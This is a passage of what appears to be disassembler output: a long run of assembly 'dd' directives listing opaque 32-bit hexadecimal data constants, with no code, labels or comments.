		dd 34A7BF77h, 0FE4053FDh, 270A12A5h, 2478B43Fh,	71BABD48h
		dd 7B23FC1Fh, 657C1DC1h, 0E881A940h, 4BC90DCAh,	84407FECh
		dd 4D14F920h, 0EAB87465h, 0E1570140h, 42C24F7Eh, 0FC08CD50h
		dd 52264769h, 1700B432h, 8F844EAAh, 623F275Dh, 86694840h
		dd 60901448h, 217D4D10h, 9FAD00FFh, 25C2C143h, 48267B2Dh
		dd 0ED00E30Fh, 0C860F867h, 470800DEh, 0CE11D868h, 0F2EA5F5h
		dd 5080E80Bh, 36C4DF70h, 0B64906B2h, 603105AAh,	273C8459h
		dd 324814B5h, 0B7418EAFh, 2C073CE6h, 414D182Eh,	46204970h
		dd 0AFAB009Fh, 0C23BF9E1h, 0A7458CAh, 0CB39BB00h, 94F6A7B9h
		dd 0D1A300ACh, 17ECA2BAh, 4B001A62h, 5CE311AEh,	3C6C7F84h
		dd 631F53DEh, 72F7005Bh, 2BDC7C54h, 0D4735F00h,	3FF5E030h
		dd 0D7FC00D8h, 0F39403DFh, 5EB02F7Ch, 8858241Dh, 147ADEC2h
		dd 0D6D761BCh, 8EA0C02Eh, 4500944Ah, 837ECD77h,	44C615h
		dd 4C9F1AACh, 9539E260h, 0A4E0FA4Ah, 4B280E49h,	5EA30BDDh
		dd 77B978EAh, 0F7C2041h, 0E068192Fh, 2A2CBA8h, 0A89F5DF1h
		dd 0BCC8B0DCh, 0D75AADCFh, 0AE01E0D1h, 0B8B34BF8h, 0FACE00BCh
		dd 3BC30ECDh, 0D500D409h, 11777AD0h, 0FEC48CAh,	0AF73426h
		dd 0FB5DFCC0h, 5A0985E8h, 6A717Fh, 62939840h, 786500F8h
		dd 0D1F5044h, 7E2C195Fh, 2BB8877h, 0C827A6F6h, 0C4644051h
		dd 0F4039F49h, 9380FBD9h, 6E00DFCEh, 4CDC3C10h,	0C0413450h
		dd 0DA192DE8h, 0BE000F11h, 3692DFE4h, 4DCEDB0Eh, 463C4C77h
		dd 0F94C4580h, 97BCE00Dh, 0F7580E13h, 0E67E5440h, 5C2F1175h
		dd 0D6018B4Dh, 8D9AFAD4h, 180D6A29h, 3F603Ch, 0FD6BB318h
		dd 8F3A90F8h, 589E2CB4h, 4F8BF140h, 79167244h, 81710BCBh
		dd 0DC83EDEFh, 32E0A57Ah, 310CF5E1h, 10B73DBCh,	2D7E0020h
		dd 9B491C45h, 1700ED60h, 973B4A52h, 1C6F3C37h, 80282099h
		dd 64A1D38Ah, 0C31CB001h, 6ED8CA9Ch, 4F8EB0h, 0F85107CBh
		dd 5EBB906Ah, 1137DB33h, 6825F0C0h, 0ABD000B2h,	0EE3F345Dh
		dd 840904E2h, 9DBBB0h, 0EF7D5914h, 4E2F0092h, 47AA6DABh
		dd 37003E26h, 67E10680h, 2BBACD7h, 8260D0AEh, 44C3AFB8h
		dd 85EDBFB0h, 3C615E48h, 80E1BDF5h, 828C18E8h, 24FA08h
		dd 0C4C057Ah, 2077F50Fh, 72D9A300h, 6B1FBCCCh, 0A41C4BC1h
		dd 87006904h, 0A8AC7D2Bh, 998A3Eh, 0A060D7ABh, 7B8EFCFh
		dd 9F0098B8h, 0FE11C2EAh, 7C087Eh, 651F75D1h, 4D380DEFh
		dd 460248E2h, 0EB7D8E61h, 6E6040B5h, 403BE55Ah,	0EFE828BCh
		dd 6612D631h, 44BCE90h,	0A0EC8F36h, 410EF844h, 0FDCF02D7h
		dd 1A2ADBE3h, 0B80EC68h
		dd 76F21309h, 24D081h, 7B54B186h, 9022605Dh, 0CFE1500h
		dd 0A551C27Fh, 59EE00E5h, 0D95DA011h, 0BE17676Ch, 6040931Fh
		dd 0F4A3FFD1h, 0B6210033h, 4F244101h, 485A27D9h, 2518A4C8h
		dd 0AC784A63h, 89048000h, 66ED97EEh, 0D5AF00A6h, 0C9BDBFC4h
		dd 8FFF1505h, 0A0E286F1h, 1391CA0Eh, 3C9234h, 1C8277D6h
		dd 0A827B2E0h, 0C496F67Dh, 8B8C0100h, 0F4F5C7h,	6267C1B8h
		dd 17BBD6EBh, 6AFAA400h, 0AB2470A0h, 875B5h, 82498056h
		dd 95C352FDh, 8FCC0B09h, 0B9B80099h, 0F905D66h,	0E774BDA0h
		dd 1E4D5CDEh, 0D22780F1h, 2FFD09DEh, 43D44009h,	0FDC5413h
		dd 9700AF24h, 822EC57Ah, 79595A3Fh, 0B6D5C71Ch,	3300F8E6h
		dd 756BFDA5h, 52C4029Ch, 0A1AD9770h, 5923E0A0h,	870E7D96h
		dd 0E0BD797Bh, 8F627E88h, 12CBE2Ah, 41BB8EB0h, 0A287D014h
		dd 0D11B2C00h, 69F44321h, 0A44C034Ah, 2E1E3A3Dh, 0E40EBBC4h
		dd 53452048h, 0E01AB2h,	0CD2F975Dh, 5878A7Ah, 58F29300h
		dd 74D59BA2h, 0E1BD00ABh, 0F8CEFA6Ah, 0E54802C3h, 0FE007758h
		dd 0CD66F5A2h, 50A3817h, 0DFBD11D9h, 0E620C0DDh, 6A000DDCh
		dd 0C9A9B314h, 469273h,	9D6C55A5h, 0B935D36h, 0A79000BDh
		dd 7C8069FEh, 71887364h, 8F61280Ah, 4E3008Eh, 18391DAAh
		dd 0BA2547FDh, 26645043h, 40786515h, 0E009F2D7h, 0E9D3301Ch
		dd 2308043Bh, 30BC70D1h, 0E78F7F01h, 0D0B94CC9h, 0F112A528h
		dd 8000C664h, 0D7A438E5h, 11200A08h, 0AC1F6Ch, 35F958EEh
		dd 0ED02E6D0h, 0C8A8C6A1h, 8C94685Dh, 0B00E00DCh, 5E03542Fh
		dd 9E0072B6h, 510CAEC2h, 7B75A288h, 3FA47F9Fh, 0A500C031h
		dd 76AC8C4h, 1C5C603Dh,	0C2F500E4h, 2B557C36h, 0A463008Ah
		dd 0FD3905F3h, 905D1060h, 0A3260ECCh, 0A70B005Bh, 24C9C21Ch
		dd 8C186C32h, 0AB71EAACh, 5F509904h, 4B00222Eh,	0D9E03E32h
		dd 60FC1B00h, 0AF6C6EA4h, 8F8127D2h, 0BCAC0485h, 0AE6109C4h
		dd 55D8685Ah, 413C0447h, 0EC1BB233h, 17B016Ch, 2AEC347Fh
		dd 0B900B845h, 7E5C8EDBh, 655B03B4h, 0FC12F319h, 0A37F4290h
		dd 27DC39h, 49D167CFh, 9D65FC5h, 639E032Eh, 0B6274C48h
		dd 0C0093F30h, 7319E748h, 7D5C03FFh, 8ABF5DBAh,	77339888h
		dd 1532107h, 90278BF9h,	0D8CC6734h, 36590061h, 0A254BE85h
		dd 2507B61Bh, 676FDC97h, 0D6D712F0h, 3D3F7A7Fh,	8500B391h
		dd 0C12455B7h, 0F5399242h, 18B04BE5h, 80CC5B44h, 0F163A73Ch
		dd 80F41304h, 49AF76FEh, 0C881EDECh, 60771961h,	7E034F30h
		dd 67281472h, 0B3749888h, 823612A2h, 2204B8D3h,	71841207h
		dd 2133Fh, 0E993BE93h, 0AD0034EEh, 0CA383D9Ah, 7D565D33h
		dd 4C9448A5h, 9C89160Eh, 17A0A6BFh, 1E9CD0D4h, 9A3CFD3Ah
		dd 0DEFE8234h, 48B7974Dh, 16273D84h, 0F0EE5037h, 8C0E95D0h
		dd 64D2ABFDh, 0A7807943h, 0B01CD906h, 4C3700A4h, 1B036F0Dh
		dd 73732D2Ch, 33123094h, 6B8108B8h, 0F91A0D0Fh,	0ED9880CFh
		dd 9D9E5EF5h, 44AB0E23h, 7A204A2Bh, 29B29C6Ah, 2A3288C7h
		dd 92FAF6D0h, 0C47F504Fh, 0D5F51EDFh, 65EAC0FDh, 5EC7BCA7h
		dd 1406AD00h, 0B176AB10h, 0FC90AEh, 33C13C93h, 0E226C381h
		dd 506A1D00h, 82A494D1h, 0EA7E0030h, 24A63301h,	0BD315DD9h
		dd 4E3AD0FFh, 30B4006Eh, 9C3BA704h, 1503EA05h, 58C05322h
		dd 0B2A4721h, 0D879DF4Dh, 0AE82B840h, 48AD9200h, 0BF4BC2F4h
		dd 3CDB0942h, 847401CDh, 0C05CA08Eh, 0F557F31Ah, 8508007Fh
		dd 1CE07212h, 317E5A2Bh, 73B8E6A3h, 430F7955h, 0E0106682h
		dd 78247C6Bh, 3A9600B7h, 6F45CF8Eh, 0C9008F0h, 5885511h
		dd 692EC618h, 0CC92CD47h, 7F918212h, 9495C0D0h,	0EE9C0120h
		dd 3D0CAFB1h, 0D9B5E897h, 5000F9E4h, 0A0FFAE14h, 308D5E01h
		dd 0FE38EF7Bh, 1E009491h, 60C64ACDh, 2EAC66E5h,	2C56EDFh
		dd 8323BBBEh, 8E05A080h, 8924B453h, 0AD040828h,	6600939Dh
		dd 0C597E503h, 3016E626h, 9CD16301h, 0C83AD3A1h, 0A360B7F8h
		dd 4F201F58h, 1EC73BDh,	32F0E569h, 0E8333719h, 0EA25BCA6h
		dd 0CB400068h, 6C830F9h, 8A4F4A0Ah, 0D0D8873h, 417B083Fh
		dd 0E4C4802Fh, 833BEFABh, 71A50Fh, 0F4A5EDB0h, 28D86063h
		dd 418D39E6h, 80E1FF25h, 54F11D9Ch, 0DD3A00D7h,	7F91767h
		dd 0E8C0197Eh, 0CEE07DFEh, 0D0180093h, 776503E5h, 0C9099B01h
		dd 9EE5CFBh, 0C5D682A0h, 1DB86482h, 7837152h, 0F2057A2Ch
		dd 0D4404D17h, 0E3E59086h, 70E4881Fh, 1C835600h, 26F7768h
		dd 3C9AE70Fh, 0AC8243F1h, 9E20FFA5h, 9DA3A1h, 5E06317Ah
		dd 2A1F7BFDh, 49598A73h, 0B8D82848h, 805B489Ah,	476EC20h
		dd 78AEA20h, 0A8038968h, 0B790E08Fh, 606080CFh,	0E95BF8C0h
		dd 7BEE8446h, 520022FCh, 84F974FBh, 0FAE831E4h,	0E09805F0h
		dd 0C07EF2D0h, 0FAAC7324h, 0D8CC540Fh, 0B1C3A011h, 61CBA7h
		dd 4DB7BB90h, 0B6296B64h, 0B8A0766Fh, 6E4628h, 17127177h
		dd 10E45A37h, 2435C207h, 34204853h, 28F6075h, 150AD973h
		dd 0C2E0A207h, 0DE00C0A7h, 0BF94550Bh, 8FB4D7h,	3374C849h
		dd 0E60C4D47h, 0B75BDB00h, 0E86DD651h, 6A7B0505h, 803FC590h
		dd 1BEA2863h, 86C8A0BFh, 4C0926Eh, 11FA604Ch, 0A449BAADh
		dd 8324DE21h, 51120670h, 0B8291FB8h, 81379700h,	67D4B2C0h
		dd 0C99A0093h, 34D0C6C5h, 0E74A5D99h, 3DD5D4C8h, 0B5800D6Fh
		dd 4CAAB3C4h, 32173669h, 380F0EA6h, 0E4560114h,	51F5DB3Fh
		dd 6F02EC2Dh, 231DE0AFh, 803864F6h, 3E0A0F78h, 0DA37D9h
		dd 405602E4h, 0FDC79903h, 68C0515Eh, 2C0C8D3h, 0A1127B97h
		dd 0BCC8684Bh, 0B305EC82h, 98253FB9h, 56B81000h, 13E6F186h
		dd 0E467372Ch, 412E3234h, 9C00D7E1h, 0B9DAB692h, 3980FBA8h
		dd 0F457F7AEh, 783E6ED6h, 0F028013h, 3F154EB8h,	3D1200E5h
		dd 0D6F7D036h, 9B03AC60h, 577B7F7Eh, 87F4C8BBh,	0D450013Ch
		dd 8BF00BEDh, 2B063132h, 31A64C90h, 0A44597FEh,	0B2E65D0h
		dd 0BA429CC2h, 0AAB694A0h, 0CC031694h, 99A86D60h, 0D50C9008h
		dd 982831E5h, 90CD1689h, 631DA020h, 9141DC8h, 9074BAF4h
		dd 0BCE97992h, 29986D19h, 0A07400A8h, 0A9680061h, 381DE0Ah
		dd 1E037BB6h, 8A7EC7E7h, 711800D0h, 0ACC634CAh,	5D2CDA62h
		dd 3607D2A5h, 0E4518C96h, 0CDF06B33h, 91D00288h, 0B7DFDB69h
		dd 66A8015Dh, 89AC5CFCh, 850D00ABh, 36B7D7DBh, 359920D9h
		dd 6B0AB884h, 848FAD8h,	148C202Ch, 0CD56AC5h, 18E0E34Eh
		dd 43D0906Dh, 0A9A70563h, 108A2734h, 5E13998Bh,	0C43700E9h
		dd 68EF608Bh, 0F7D61100h, 1F58867Fh, 0AC7825h, 0C524410Ah
		dd 743B2A6Dh, 0BD008A90h, 528189Eh, 2A50ADA5h, 0B8A844h
		dd 73B8DCF1h, 0B4697EEBh, 0BA465A02h, 0E037F554h, 11AFB48h
		dd 0E514AC9Ah, 0CC7F2CB7h, 8C604307h, 0DBE81841h, 6AFD003Eh
		dd 0F9157652h, 0D0C0D04Dh, 0FE944CE4h, 0E87A0190h, 8D3AE55Ch
		dd 79C8E30Eh, 0D478C436h, 6C6FC000h, 710A46D7h,	8A890FF2h
		dd 2DE014E4h, 57858E5Ah, 71946D37h, 78EFF4C0h, 3E700351h
		dd 0B236DB61h, 165D85E8h, 0AB633Ch, 6E0247B7h, 7342E522h
		dd 0EC2C00F5h, 79AA1CBFh, 0C0A07FFh, 0E465CF15h, 8F6F5786h
		dd 0A8A1F261h, 62A3CCh,	0E3B78128h, 0BDC442E4h,	30A08D4Fh
		dd 7BA00046h, 158CCED4h, 21000FB3h, 6AC7D21Ch, 0E2363E9h
		dd 114B620Ch, 22573700h, 587B5319h, 1036B331h, 0FD184417h
		dd 0DD464708h, 530A83A0h
		dd 4105304Ch, 7716D2ECh, 0A6C30460h, 0D510C30Dh, 19001089h
		dd 42926A97h, 147434h, 0E3FA916Dh, 0F3EBAA76h, 2978EE31h
		dd 98FB7357h, 19AE268Fh, 82EF612h, 0B6218081h, 0ED41917Ah
		dd 39DE0374h, 36C0D76h,	0EA008170h, 8A37CE0Bh, 2151EA3h
		dd 2622B948h, 0B5C051D4h, 58A0D285h, 6861E7F2h,	967A1D59h
		dd 0D82BECh, 7CCA594h, 0EE17990Ah, 0FB285000h, 0BE769272h
		dd 0E7A3073h, 3DF35771h, 26913Fh, 975E6B51h, 0ACC594Ah
		dd 0EF02EBB1h, 9174816Ch, 182E8F5Eh, 7BB78884h,	0B8659100h
		dd 950553ACh, 0E9A9C3D3h, 71000F52h, 8B810CF7h,	164AE76h
		dd 4DCD898Eh, 0BA0AEEF2h, 42DF8749h, 0DB11FDD3h, 50D8B97Eh
		dd 6571003Eh, 0F5915586h, 2F02CFE3h, 8F05F23Ch,	1D3480EAh
		dd 53196F6h, 0C30FCE93h, 0DD9440CCh, 0AF905035h, 518E3A0Ah
		dd 0F881A45Bh, 0D1C3A816h, 59B22980h, 5A5B7539h, 43F0740Ch
		dd 0C0CA0853h, 39621121h, 4C03A538h, 6C6A2654h,	0E7DAB837h
		dd 30C1C067h, 0E3247ECEh, 68A99300h, 4A058122h,	658F0003h
		dd 1297F962h, 1C609206h, 0B35794B9h, 0BD4414BBh, 0FF10BC0Ch
		dd 9177C0EEh, 8C468F53h, 0E527E44h, 0EFF9917Fh,	0B8FBE000h
		dd 0BD0CD54Bh, 0B9D8C306h, 0CCA483h, 0CD02117Eh, 41C296BCh
		dd 84021041h, 395430C5h, 46B67A58h, 1BC2284h, 0B5395D0Ch
		dd 482E0F92h, 0AE00B3C0h, 0D0815CE1h, 0BA2BEFh,	0E36609CBh
		dd 0E720923Eh, 0C58BD50Dh, 0E88830EBh, 7560EF01h, 468F5991h
		dd 37F2276h, 5F917CB8h,	4DE08D03h, 0EF54598Bh, 9030D5E4h
		dd 0C31B2976h, 6C0F53ADh, 0D30C9A2h, 9BF40067h,	652181F3h
		dd 0F9065193h, 724FE976h, 0FC6874B1h, 6C11497Ah, 0ACBC3600h
		dd 0F9B8805h, 538FCF0Eh, 211E8C10h, 0ACC5014Dh,	0A7A56E71h
		dd 6AE480B2h, 9F7F7389h, 0DA8303E3h, 151DF946h,	305BD2A0h
		dd 0CACED54h, 0BA000879h, 1332F762h, 0E8330F6Bh, 2F21C038h
		dd 0C946D1FFh, 8072E339h, 0BE71D0DFh, 3EB7EC4Bh, 0E715E13Dh
		dd 0C0CD4FAh, 5BF1C470h, 6209102h, 0A34B8BD6h, 0E32EA0h
		dd 255A2959h, 617914EFh, 0D6679505h, 14086990h,	0A8948FE7h
		dd 98CF9F20h, 0CC0BA9F6h, 2F095FEh, 4AA3B302h, 9CC026Ch
		dd 14040A17h, 0E9222483h, 801925Ah, 2662EE4Fh, 0E8C2CCh
		dd 8BEA37CFh, 5AD97F8h,	0E8D5922Ah, 2C54E926h, 598AFE40h
		dd 91EC91E7h, 825889A9h, 47625BB5h, 61100068h, 0E10BC839h
		dd 3E42E22h, 98082CDBh,	0D00124F0h, 0B08B2865h,	20CCE0h
		dd 0BF028C7Ch, 53880AACh, 101C1910h, 0ACA856h, 4C7A2CC9h
		dd 0F291491Fh, 0A93F20B0h, 0D289E1E8h, 90C5F75Eh, 12C63FCh
		dd 0A28C6CF3h, 62158AD5h, 0BD814044h, 0AE0C9C98h, 0B1D12E11h
		dd 5B17038Fh, 0C1B39F49h, 0B482ACEAh, 0C01EDCAh, 69BECE66h
		dd 40988D24h, 1520671Eh, 0E7D88963h, 0E9190011h, 0D6E309A9h
		dd 0B63EFBAEh, 0E059A4D8h, 543E1D13h, 9C008323h, 55F4B97h
		dd 3C1C9990h, 66B7F200h, 960D5E12h, 67024A07h, 6027BC2h
		dd 18F066F9h, 510DE793h, 7A0095B5h, 9AD7FAFDh, 0C5B8F0h
		dd 0EB6CBE3Bh, 0DB0D5F08h, 2F61020Ch, 6B41E5h, 2E37CCA1h
		dd 0CB0C3F5Bh, 144CDF28h, 0BA3808D8h, 8F08C073h, 9176AE3Eh
		dd 88D5FF0Ch, 1FA87979h, 4005F372h, 97F4AE28h, 0C5557E8h
		dd 5093F1E0h, 9106086Ch, 2424E491h, 9473D000h, 488987ECh
		dd 0C4235497h, 79395501h, 0BE187A5Bh, 0C5E0D88h, 56B9F39h
		dd 0F1003771h, 0E78A935Ah, 0E4553833h, 0C429846h, 97B4BD6h
		dd 1F00BA29h, 0BCDF53Ah, 0C2E1AF9h, 206BC74Ah, 7005321h
		dd 4E95369Eh, 0E03A0CC8h, 0E8F0C0h, 0D1393DA7h,	2694AA97h
		dd 0BC78B15Ch, 0DE018C7Bh, 0FF3DFAF0h, 560D3C8h, 0DA6B370Ch
		dd 40A05AD9h, 222001B2h, 92E8A215h, 0D5ED0694h,	0A6510B91h
		dd 1B641C78h, 0E326807Dh, 6AEECA1Dh, 0EC09E716h, 3A05307Bh
		dd 4444D43Ch, 400B55ECh, 191F85B4h, 0A5F70151h,	4F7F0FF0h
		dd 0D3DF74F3h, 207AC9C4h, 97949140h, 8E005372h,	2A8BFABDh
		dd 1FD8E4BCh, 0C055454Bh, 54F34A91h, 50136497h,	2C3EA25Ch
		dd 94001D23h, 5854B62Eh, 1E7D24BBh, 80154ED0h, 580A6694h
		dd 70807E8Fh, 91747DB9h, 210BB302h, 0C4640D54h,	83660214h
		dd 1E03DE92h, 186050C9h, 23C1F209h, 0E111FF62h,	76752E38h
		dd 566102D4h, 6CF2FC1Dh, 85D59182h, 2F3764E4h, 0DFD0313Dh
		dd 0DE0C4Ah, 0B0584CF1h, 0E447F2B4h, 4961BD00h,	0BA51F08Eh
		dd 8B5B1F4Ah, 3AF07493h, 37B23F8h, 59C489D5h, 2FC583F0h
		dd 22909A58h, 918CFEDBh, 0D89714FCh, 8C7ED040h,	8ACC102h
		dd 190FC388h, 0C2501018h, 61C700ACh, 95335987h,	0E891C602h
		dd 84B5BF05h, 0EA1D8600h, 805E2Ch, 7F2BB972h, 0FE59B7E9h
		dd 5FDBD401h, 0FA6E9289h, 5C231072h, 0BD44051Eh, 3562DF62h
		dd 0D1FC1220h, 8C0600E3h, 60C702F1h, 54992F57h,	5DB56300h
		dd 0F8424BE7h, 209A073Ah, 2189195Ah, 226A0CD2h,	765F0104h
		dd 5D286D1Ch, 2C305825h, 21C1426Fh, 911F0384h, 293E5C4Fh
		dd 0CFC5C35h, 793C2EFAh, 96D5184Ch, 98DE3112h, 9B5E2F03h
		dd 0E9DD25E8h, 5980B2A6h, 203709D2h, 8705839Dh,	8BB359E7h
		dd 0E2DEFC46h, 0E0720051h, 681F4E30h, 0DC0C4F89h, 298F9359h
		dd 9E740060h, 82658375h, 0F0024269h, 0ED90C8D1h, 7C24464Bh
		dd 16593A30h, 0BCE3AF15h, 0CE6AA985h, 0C01A88FCh, 9EA79072h
		dd 9122276h, 80A9D4h, 18235A81h, 31104DE9h, 4B1639BCh
		dd 5C30D659h, 7F1BB45h,	765CE162h, 963AA25Dh, 0F87154E6h
		dd 0B2918301h, 72CB854Bh, 88121870h, 0FF01D4DDh, 936B63C4h
		dd 0C440981Fh, 67E6B8h,	0ACF77FA2h, 68CB83D1h, 1CFD5A07h
		dd 0F6B0FBDCh, 580FB39Dh, 0BD0626E1h, 0BE846B3Ch, 6C3F337Ch
		dd 25AF98F7h, 0C915B28h, 0D7B114Eh, 0BA0FA6C9h,	0EBC02A41h
		dd 949805E2h, 0D7C3FC21h, 22001822h, 211864C7h,	3F00B295h
		dd 9FF73DE2h, 327785h, 6A99B325h, 3174A27Bh, 10E7BB11h
		dd 0C443F10Fh, 0BF2A19C0h, 0F6C0CF1Eh, 0ADBC378Fh, 0D46F506Dh
		dd 963F8826h, 3EF06201h, 67D48054h, 103EC02Eh, 0CD12C29Ah
		dd 88239205h, 310E177Ah, 0A3A000EBh, 0C8F56598h, 3EBEFD07h
		dd 0E80D1C1h, 0B1FFC10h, 91F3160Bh, 2D504280h, 0EF0C850Dh
		dd 28BF2BF2h, 0AC6B1DD2h, 0FE8C039h, 0AD1006E7h, 0B34681Fh
		dd 17B36580h, 0BEEDF4h,	56994E84h, 3F644DB0h, 1F35DC03h
		dd 0B0318857h, 1DEAC32Eh, 0EE0EFF9h, 5580F041h,	922390E5h
		dd 0DB17DC0Eh, 0BFCA8035h, 0FD391FDh, 5171183Fh, 70A66D07h
		dd 24641398h, 23AAF703h, 38192EB7h, 0D73F1F10h,	71C6B380h
		dd 0EFEB17D2h, 907CBE30h, 0EAF41122h, 0E9FD0E26h, 8900EE65h
		dd 6023BB77h, 0F891DD0Ch, 7C0C8D6h, 110BC531h, 17ED41E8h
		dd 0B5DE307Ah, 0CB384A0h, 80F5CC3Ch, 780F7219h,	27F6D56h
		dd 0B15090A3h, 888069E4h, 0A51AF551h, 7D161500h, 63BBFFDCh
		dd 923800DAh, 0DA2201Dh, 0BE36E5EFh, 2858C0h, 0CCA5E627h
		dd 48142E10h, 80843500h, 8C05176h, 8C2826DBh, 77B10F9Bh
		dd 0BED6ED41h, 0B74180CEh, 0FA249397h, 0DF2F51C6h, 6C7D8h
		dd 5AA84504h, 4F1CA61Eh, 2C313800h, 0D3F93EF2h,	7C5971B6h
		dd 808103AAh, 0ACBBE703h, 82A478DBh, 8881548Eh,	80E2BED1h
		dd 0CEF8769h, 36BA9Ch, 0B29329D5h, 2277555Bh, 0C2DE8A14h
		dd 0DCA600A8h, 49C965F5h
		dd 0A14A00D4h, 45C18C70h, 200CF3F8h, 8D7FC6Eh, 43400EDh
		dd 0C88AF8Fh, 1E8ADA2h,	0B000DB7Fh, 668ACBF8h, 0F898C60Dh
		dd 139CF6C0h, 3BD0E15h,	0B786C10Ch, 0E1BCDDA1h,	0D835C185h
		dd 6101FA27h, 79186FA4h, 0CDE8ABCCh, 0C51300ACh, 2899D8Eh
		dd 1500A6D3h, 83AD8F0Dh, 7898BEF1h, 8AF6084h, 8599CDDEh
		dd 7CBC33Eh, 0D08EC2ABh, 94D901E0h, 93F74836h, 64223714h
		dd 0FCAE0447h, 11A43017h, 1D4DF410h, 7C620503h,	0D60845h
		dd 0DFEEC620h, 7EF09FCDh, 3D3C0303h, 0C0F6AE23h, 0E274FA39h
		dd 1083009Eh, 7711C990h, 0C01F2E43h, 0C20F33EEh, 71DFACF8h
		dd 740302Bh, 0AEE82779h, 10F7C030h, 1C287AE5h, 86067218h
		dd 88121D36h, 73F96E0Ch, 182941BFh, 6027AB09h, 176E0FF8h
		dd 837C0319h, 3409E3Bh,	82CDD5C5h, 98966374h, 26046E0h
		dd 177AE079h, 0A722030Fh, 49BAF197h, 0F9A65006h, 20D0F681h
		dd 8D0085DEh, 7CD2C136h, 0A88B6377h, 3E21F9Ch, 2B9F4641h
		dd 590E06C0h, 83F71528h, 7F262FCCh, 3CD60099h, 0DC02A736h
		dd 9CCA1F3h, 760212Dh, 7C863C9Fh, 7A0DE3CEh, 8A762EF0h
		dd 2A206A40h, 0C40C45h,	5F2F8509h, 0D9834D21h, 4C2B8101h
		dd 0E9290A3Ah, 2A021AF0h, 18A85B68h, 0B1D8646Eh, 8000FE0Eh
		dd 737B01AEh, 0A8B833Ch, 28D05B48h, 0FE660398h,	2003C01Ch
		dd 73ADD7C4h, 28D8B247h, 0D59104C8h, 8EB00363h,	0E229A0F6h
		dd 0A794A8F1h, 480B2809h, 830606A4h, 8977C626h,	78F99A0Fh
		dd 2C8F81F1h, 0A4481EC0h, 13120058h, 8A84A9E5h,	401C9AB3h
		dd 0AAFBF7C4h, 8E02806Ch, 0E5D5B2C3h, 0EDC48393h, 690833BBh
		dd 0B2C00121h, 0B700BD15h, 2F12B8C3h, 1549E51Fh, 0B47B0CF9h
		dd 26F1C906h, 0D43280D3h, 0B3D2C097h, 883CDBD4h, 86DBB2A7h
		dd 9DCD2C45h, 0C0AFD6FCh, 0E57A6F20h, 0C4506C6Ah, 200CAD90h
		dd 0D9F42FB1h, 2BD33937h, 63050C0Eh, 62BD7403h,	2100FB83h
		dd 892C6DD0h, 0C57065h,	0F845EAECh, 0B16C7751h,	0DC3AC400h
		dd 0D3E441EDh, 5B6925CDh, 0D6347008h, 0E1F5B201h, 2D1A98F9h
		dd 48023FE0h, 8581BCFDh, 10F38Bh, 9630CF2h, 7AA2E6E0h
		dd 51014011h, 0FCE877E4h, 0E40C59F1h, 9062A0A9h, 0D4048CB0h
		dd 0D0CCA2Bh, 0D180D867h, 64A02C6Ah, 0E8A501C5h, 7A77DF08h
		dd 1D21BBF5h, 1C26CE02h, 0B99C6200h, 5E6BB8Eh, 4741A987h
		dd 0A6E007D9h, 0A1CF0086h, 0A400EBB8h, 0BCDDB265h, 214F4h
		dd 79D3FBE6h, 239EB7F3h, 24813899h, 0BF543674h,	2C207421h
		dd 42584510h, 0A930B308h, 0A73B113Ch, 809F88DAh, 1D3CB1BDh
		dd 0DF07B2A9h, 8A30D30Fh, 0DE8DA641h, 63459420h, 0FFEB79FAh
		dd 4C342E80h, 6DB4F900h, 3DE1E232h, 9F51040Ch, 402D2CCDh
		dd 8638B835h, 74490098h, 0F8F78AD2h, 9D015244h,	7D247797h
		dd 9850F92Fh, 0F609BBAh, 90E5A817h, 6747F00h, 0DA003C96h
		dd 7D0CDFD4h, 18D69A62h, 91FD4751h, 0E5013CDCh,	9CCB7ED5h
		dd 0D43486C2h, 349A12h,	0ECEF87BFh, 0C104E2C4h,	0DAA28300h
		dd 22777117h, 0FFEA28F1h, 0AF81BC4h, 0CE80B92Fh, 0F8A10DA6h
		dd 9E0C20D8h, 2BDA028Ch, 62BD0CE0h, 21821Bh, 922C5217h
		dd 9C76B04h, 24C047F3h,	20FDE987h, 4899FC71h, 0AD02F380h
		dd 3DEC24FEh, 0BB8099EDh, 0D19BD203h, 0C700A0B5h, 65FB3277h
		dd 13025C87h, 3A9114ECh, 36F232Ch, 57A72CBEh, 50F947B9h
		dd 3EBFD3A0h, 8CBA6100h, 66142CFBh, 41231EA2h, 72E30F36h
		dd 0A8012A49h, 61CE8B16h, 818A0444h, 22EE2B94h,	0B8F706A8h
		dd 187A75h, 0D981E7Bh, 4E73B6D1h, 9772C101h, 0D462BCF5h
		dd 309CA842h, 0C6082C08h, 66636D0Ch, 350021FFh,	7BDA2BE0h
		dd 38C40D75h, 1FACAE1Bh, 65112Ch, 0C2B0F997h, 0A707F3h
		dd 7875E381h, 7C7B8661h, 0CC02B60h, 90FF3536h, 11789068h
		dd 426FF8C1h, 20FEE1F0h, 0D4C6ED0Dh, 0DC187EEAh, 0A9F884A5h
		dd 908DF0F1h, 1CDF0028h, 0ACBFBEAEh, 30A49D20h,	0CF141DB0h
		dd 8478650Ch, 34002101h, 0C4572C6Fh, 0C058934Ch, 3314183Ch
		dd 0EA660086h, 2C0241EBh, 21C5F3FAh, 108C0BF9h,	0F5D32009h
		dd 2039107h, 7DD55AE4h,	21A58401h, 4C24A2F9h, 1B1476C9h
		dd 0A1D3DBCAh, 373F29E0h, 9C58649Ah, 10FD17A1h,	77026012h
		dd 41CDD4C9h, 24EA9668h, 88FC879Eh, 32E4E080h, 9892A3DFh
		dd 0DA4207F8h, 0F09AB0B2h, 0D78ECD0Ch, 0B1E6D11Bh, 0F0085038h
		dd 3DA783Dh, 9D50A5C7h,	910F901Eh, 0A20212B4h, 60E0727Eh
		dd 9AC28720h, 0BBCF0FF8h, 0C5822CC3h, 2861293Fh, 0FBDF108Eh
		dd 9B800233h, 51B714FEh, 30879E61h, 0E748F94Ch,	94F32404h
		dd 7ECEC800h, 0A070C60Ch, 2CDF01E4h, 8054651Eh,	0CC1C8E1Dh
		dd 870030E6h, 1566257Ah, 19FAB480h, 0B1869BA5h,	94D710E8h
		dd 0F9920067h, 0FBE54F87h, 0C070CF99h, 0C09F4C34h, 0B034C800h
		dd 98A73D97h, 7EDE3D70h, 805F6118h, 350741A5h, 0FEC01117h
		dd 0AC3B8A9Bh, 6AD69641h, 19018036h, 837EA8E5h,	88050C9Dh
		dd 0E50040C6h, 0FF14DB29h, 9A25DF9h, 0FD2711A9h, 7F2E1002h
		dd 18CDF4E1h, 9C3C6593h, 0C61898AAh, 9C6788h, 419E253Ch
		dd 22AFAB6Ah, 4680FF0Dh, 0E4C0A895h, 9FE32492h,	0F02F1E38h
		dd 11E6A039h, 4E0045B0h, 77096980h, 7BE7F34h, 7304DA33h
